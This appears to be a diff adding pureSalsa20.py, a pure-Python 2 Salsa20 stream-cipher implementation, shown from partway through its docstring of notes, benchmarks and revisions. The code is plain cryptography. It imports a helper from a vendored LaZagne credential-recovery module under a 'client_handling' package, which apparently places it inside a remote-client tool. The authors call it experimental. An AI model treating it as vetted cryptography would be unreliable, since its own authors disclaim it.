+ design strength 128 bits
+ key length 128 or 256 bits, exactly
+ IV, aka nonce 64 bits, always
+ chunk size must be in multiples of 64 bytes
+
+ Salsa20 has two reduced versions, 8 and 12 rounds each.
+
+ One benchmark (10 MB):
+ 1.5GHz PPC G4 102/97/89 MB/sec for 8/12/20 rounds
+ AMD Athlon 2500+ 77/67/53 MB/sec for 8/12/20 rounds
+ (no I/O and before Python GC kicks in)
+
+ Salsa20 is a Phase 3 finalist in the EU eSTREAM competition
+ and appears to be one of the fastest ciphers. It is well
+ documented so I will not attempt any injustice here. Please
+ see "References" below.
+
+ ...and Salsa20 is "free for any use".
+
+
+ pySalsa20: a Python wrapper for Salsa20 (Comments by Larry Bugbee)
+ ------------------------------------------------------------------
+
+ pySalsa20.py is a simple ctypes Python wrapper. Salsa20 is
+ as it's name implies, 20 rounds, but there are two reduced
+ versions, 8 and 12 rounds each. Because the APIs are
+ identical, pySalsa20 is capable of wrapping all three
+ versions (number of rounds hardcoded), including a special
+ version that allows you to set the number of rounds with a
+ set_rounds() function. Compile the version of your choice
+ as a shared library (not as a Python extension), name and
+ install it as libsalsa20.so.
+
+ Sample usage:
+ from pySalsa20 import Salsa20
+ s20 = Salsa20(key, IV)
+ dataout = s20.encryptBytes(datain) # same for decrypt
+
+ This is EXPERIMENTAL software and intended for educational
+ purposes only. To make experimentation less cumbersome,
+ pySalsa20 is also free for any use.
+
+ THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF
+ ANY KIND. USE AT YOUR OWN RISK.
+
+ Enjoy,
+
+ Larry Bugbee
+ bugbee@seanet.com
+ April 2007
+
+
+ References:
+ -----------
+ http://en.wikipedia.org/wiki/Salsa20
+ http://en.wikipedia.org/wiki/Daniel_Bernstein
+ http://cr.yp.to/djb.html
+ http://www.ecrypt.eu.org/stream/salsa20p3.html
+ http://www.ecrypt.eu.org/stream/p3ciphers/salsa20/salsa20_p3source.zip
+
+
+ Prerequisites for pySalsa20:
+ ----------------------------
+ - Python 2.5 (haven't tested in 2.4)
+
+
+ pureSalsa20: Salsa20 in pure Python 2.5 (comments by Steve Witham)
+ ------------------------------------------------------------------
+
+ pureSalsa20 is the stand-alone Python code in this file.
+ It implements the underlying Salsa20 core algorithm
+ and emulates pySalsa20's Salsa20 class API (minus a bug(*)).
+
+ pureSalsa20 is MUCH slower than libsalsa20.so wrapped with pySalsa20--
+ about 1/1000 the speed for Salsa20/20 and 1/500 the speed for Salsa20/8,
+ when encrypting 64k-byte blocks on my computer.
+
+ pureSalsa20 is for cases where portability is much more important than
+ speed. I wrote it for use in a "structured" random number generator.
+
+ There are comments about the reasons for this slowness in
+ http://www.tiac.net/~sw/2010/02/PureSalsa20
+
+ Sample usage:
+ from pureSalsa20 import Salsa20
+ s20 = Salsa20(key, IV)
+ dataout = s20.encryptBytes(datain) # same for decrypt
+
+ I took the test code from pySalsa20, added a bunch of tests including
+ rough speed tests, and moved them into the file testSalsa20.py.
+ To test both pySalsa20 and pureSalsa20, type
+ python testSalsa20.py
+
+ (*)The bug (?) in pySalsa20 is this. The rounds variable is global to the
+ libsalsa20.so library and not switched when switching between instances
+ of the Salsa20 class.
+ s1 = Salsa20( key, IV, 20 )
+ s2 = Salsa20( key, IV, 8 )
+ In this example,
+ with pySalsa20, both s1 and s2 will do 8 rounds of encryption.
+ with pureSalsa20, s1 will do 20 rounds and s2 will do 8 rounds.
+ Perhaps giving each instance its own nRounds variable, which
+ is passed to the salsa20wordtobyte() function, is insecure. I'm not a
+ cryptographer.
+
+ pureSalsa20.py and testSalsa20.py are EXPERIMENTAL software and
+ intended for educational purposes only. To make experimentation less
+ cumbersome, pureSalsa20.py and testSalsa20.py are free for any use.
+
+ Revisions:
+ ----------
+ p3.2 Fixed bug that initialized the output buffer with plaintext!
+ Saner ramping of nreps in speed test.
+ Minor changes and print statements.
+ p3.1 Took timing variability out of add32() and rot32().
+ Made the internals more like pySalsa20/libsalsa .
+ Put the semicolons back in the main loop!
+ In encryptBytes(), modify a byte array instead of appending.
+ Fixed speed calculation bug.
+ Used subclasses instead of patches in testSalsa20.py .
+ Added 64k-byte messages to speed test to be fair to pySalsa20.
+ p3 First version, intended to parallel pySalsa20 version 3.
+
+ More references:
+ ----------------
+ http://www.seanet.com/~bugbee/crypto/salsa20/ [pySalsa20]
+ http://cr.yp.to/snuffle.html [The original name of Salsa20]
+ http://cr.yp.to/snuffle/salsafamily-20071225.pdf [ Salsa20 design]
+ http://www.tiac.net/~sw/2010/02/PureSalsa20
+
+ THIS PROGRAM IS PROVIDED WITHOUT WARRANTY OR GUARANTEE OF
+ ANY KIND. USE AT YOUR OWN RISK.
+
+ Cheers,
+
+ Steve Witham sw at remove-this tiac dot net
+ February, 2010
+"""
+
+from array import array
+from struct import Struct
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+little_u64 = Struct("<Q") # little-endian 64-bit unsigned.
+# Unpacks to a tuple of one element!
+
+little16_i32 = Struct("<16i") # 16 little-endian 32-bit signed ints.
+little4_i32 = Struct("<4i") # 4 little-endian 32-bit signed ints.
+little2_i32 = Struct("<2i") # 2 little-endian 32-bit signed ints.
+
+_version = 'p3.2'
+
+try:
+ long
+ xrange
+except NameError:
+ long = int
+ xrange = range
+
+
+# ----------- Salsa20 class which emulates pySalsa20.Salsa20 ---------------
+
+class Salsa20(object):
+ def __init__(self, key=None, iv=None, rounds=20):
+ self._lastChunk64 = True
+ self._IVbitlen = 64 # must be 64 bits
+ self.ctx = [0] * 16
+ if key:
+ self.set_key(key)
+ if iv:
+ self.set_iv(iv)
+
+ self.set_rounds(rounds)
+
+ def set_key(self, key):
+ assert type(key) == str
+ ctx = self.ctx
+ if len(key) == 32: # recommended
+ constants = "expand 32-byte k"
+ ctx[1], ctx[2], ctx[3], ctx[4] = little4_i32.unpack(key[0:16])
+ ctx[11], ctx[12], ctx[13], ctx[14] = little4_i32.unpack(key[16:32])
+ elif len(key) == 16:
+ constants = "expand 16-byte k"
+ ctx[1], ctx[2], ctx[3], ctx[4] = little4_i32.unpack(key[0:16])
+ ctx[11], ctx[12], ctx[13], ctx[14] = little4_i32.unpack(key[0:16])
+ else:
+ raise Exception("key length isn't 32 or 16 bytes.")
+ ctx[0], ctx[5], ctx[10], ctx[15] = little4_i32.unpack(constants)
+
+ def set_iv(self, iv):
+ assert type(iv) == str
+ assert len(iv) * 8 == 64, 'nonce (IV) not 64 bits'
+ self.iv = iv
+ ctx = self.ctx
+ ctx[6], ctx[7] = little2_i32.unpack(iv)
+ ctx[8], ctx[9] = 0, 0 # Reset the block counter.
+
+ set_nonce = set_iv # support an alternate name
+
+ def set_counter(self, counter):
+ assert (type(counter) in (int, long))
+ assert (0 <= counter < 1 << 64), "counter < 0 or >= 2**64"
+ ctx = self.ctx
+ ctx[8], ctx[9] = little2_i32.unpack(little_u64.pack(counter))
+
+ def get_counter(self):
+ return little_u64.unpack(little2_i32.pack(*self.ctx[8:10]))[0]
+
+ def set_rounds(self, rounds, testing=False):
+ assert testing or rounds in [8, 12, 20], 'rounds must be 8, 12, 20'
+ self.rounds = rounds
+
+ def encrypt_bytes(self, data):
+ assert type(data) == str, 'data must be byte string'
+ assert self._lastChunk64, 'previous chunk not multiple of 64 bytes'
+ lendata = len(data)
+ munged = array('c', '\x00' * lendata)
+ for i in xrange(0, lendata, 64):
+ h = salsa20_wordtobyte(self.ctx, self.rounds, check_rounds=False)
+ self.set_counter((self.get_counter() + 1) % 2 ** 64)
+ # Stopping at 2^70 bytes per nonce is user's responsibility.
+ for j in xrange(min(64, lendata - i)):
+ munged[i + j] = chr(char_to_int(data[i + j]) ^ char_to_int(h[j]))
+
+ self._lastChunk64 = not lendata % 64
+ return munged.tostring()
+
+ decrypt_bytes = encrypt_bytes # encrypt and decrypt use same function
+
+
+# --------------------------------------------------------------------------
+
+def salsa20_wordtobyte(input, n_rounds=20, check_rounds=True):
+ """ Do nRounds Salsa20 rounds on a copy of
+ input: list or tuple of 16 ints treated as little-endian unsigneds.
+ Returns a 64-byte string.
+ """
+
+ assert (type(input) in (list, tuple) and len(input) == 16)
+ assert (not check_rounds or (n_rounds in [8, 12, 20]))
+
+ x = list(input)
+
+ def XOR(a, b):
+ return a ^ b
+
+ ROTATE = rot32
+ PLUS = add32
+
+ for i in range(n_rounds / 2):
+ # These ...XOR...ROTATE...PLUS... lines are from ecrypt-linux.c
+ # unchanged except for indents and the blank line between rounds:
+ x[4] = XOR(x[4], ROTATE(PLUS(x[0], x[12]), 7))
+ x[8] = XOR(x[8], ROTATE(PLUS(x[4], x[0]), 9))
+ x[12] = XOR(x[12], ROTATE(PLUS(x[8], x[4]), 13))
+ x[0] = XOR(x[0], ROTATE(PLUS(x[12], x[8]), 18))
+ x[9] = XOR(x[9], ROTATE(PLUS(x[5], x[1]), 7))
+ x[13] = XOR(x[13], ROTATE(PLUS(x[9], x[5]), 9))
+ x[1] = XOR(x[1], ROTATE(PLUS(x[13], x[9]), 13))
+ x[5] = XOR(x[5], ROTATE(PLUS(x[1], x[13]), 18))
+ x[14] = XOR(x[14], ROTATE(PLUS(x[10], x[6]), 7))
+ x[2] = XOR(x[2], ROTATE(PLUS(x[14], x[10]), 9))
+ x[6] = XOR(x[6], ROTATE(PLUS(x[2], x[14]), 13))
+ x[10] = XOR(x[10], ROTATE(PLUS(x[6], x[2]), 18))
+ x[3] = XOR(x[3], ROTATE(PLUS(x[15], x[11]), 7))
+ x[7] = XOR(x[7], ROTATE(PLUS(x[3], x[15]), 9))
+ x[11] = XOR(x[11], ROTATE(PLUS(x[7], x[3]), 13))
+ x[15] = XOR(x[15], ROTATE(PLUS(x[11], x[7]), 18))
+
+ x[1] = XOR(x[1], ROTATE(PLUS(x[0], x[3]), 7))
+ x[2] = XOR(x[2], ROTATE(PLUS(x[1], x[0]), 9))
+ x[3] = XOR(x[3], ROTATE(PLUS(x[2], x[1]), 13))
+ x[0] = XOR(x[0], ROTATE(PLUS(x[3], x[2]), 18))
+ x[6] = XOR(x[6], ROTATE(PLUS(x[5], x[4]), 7))
+ x[7] = XOR(x[7], ROTATE(PLUS(x[6], x[5]), 9))
+ x[4] = XOR(x[4], ROTATE(PLUS(x[7], x[6]), 13))
+ x[5] = XOR(x[5], ROTATE(PLUS(x[4], x[7]), 18))
+ x[11] = XOR(x[11], ROTATE(PLUS(x[10], x[9]), 7))
+ x[8] = XOR(x[8], ROTATE(PLUS(x[11], x[10]), 9))
+ x[9] = XOR(x[9], ROTATE(PLUS(x[8], x[11]), 13))
+ x[10] = XOR(x[10], ROTATE(PLUS(x[9], x[8]), 18))
+ x[12] = XOR(x[12], ROTATE(PLUS(x[15], x[14]), 7))
+ x[13] = XOR(x[13], ROTATE(PLUS(x[12], x[15]), 9))
+ x[14] = XOR(x[14], ROTATE(PLUS(x[13], x[12]), 13))
+ x[15] = XOR(x[15], ROTATE(PLUS(x[14], x[13]), 18))
+
+ for i in range(len(input)):
+ x[i] = PLUS(x[i], input[i])
+ return little16_i32.pack(*x)
+
+
+# --------------------------- 32-bit ops -------------------------------
+
+def trunc32(w):
+ """ Return the bottom 32 bits of w as a Python int.
+ This creates longs temporarily, but returns an int. """
+ w = int((w & 0x7fffFFFF) | -(w & 0x80000000))
+ assert type(w) == int
+ return w
+
+
+def add32(a, b):
+ """ Add two 32-bit words discarding carry above 32nd bit,
+ and without creating a Python long.
+ Timing shouldn't vary.
+ """
+ lo = (a & 0xFFFF) + (b & 0xFFFF)
+ hi = (a >> 16) + (b >> 16) + (lo >> 16)
+ return (-(hi & 0x8000) | (hi & 0x7FFF)) << 16 | (lo & 0xFFFF)
+
+
+def rot32(w, n_left):
+ """ Rotate 32-bit word left by nLeft or right by -nLeft
+ without creating a Python long.
+ Timing depends on nLeft but not on w.
+ """
+ n_left &= 31 # which makes nLeft >= 0
+ if n_left == 0:
+ return w
+
+ # Note: now 1 <= nLeft <= 31.
+ # RRRsLLLLLL There are nLeft RRR's, (31-nLeft) LLLLLL's,
+ # => sLLLLLLRRR and one s which becomes the sign bit.
+ RRR = (((w >> 1) & 0x7fffFFFF) >> (31 - n_left))
+ sLLLLLL = -((1 << (31 - n_left)) & w) | (0x7fffFFFF >> n_left) & w
+ return RRR | (sLLLLLL << n_left)
+
+# --------------------------------- end -----------------------------------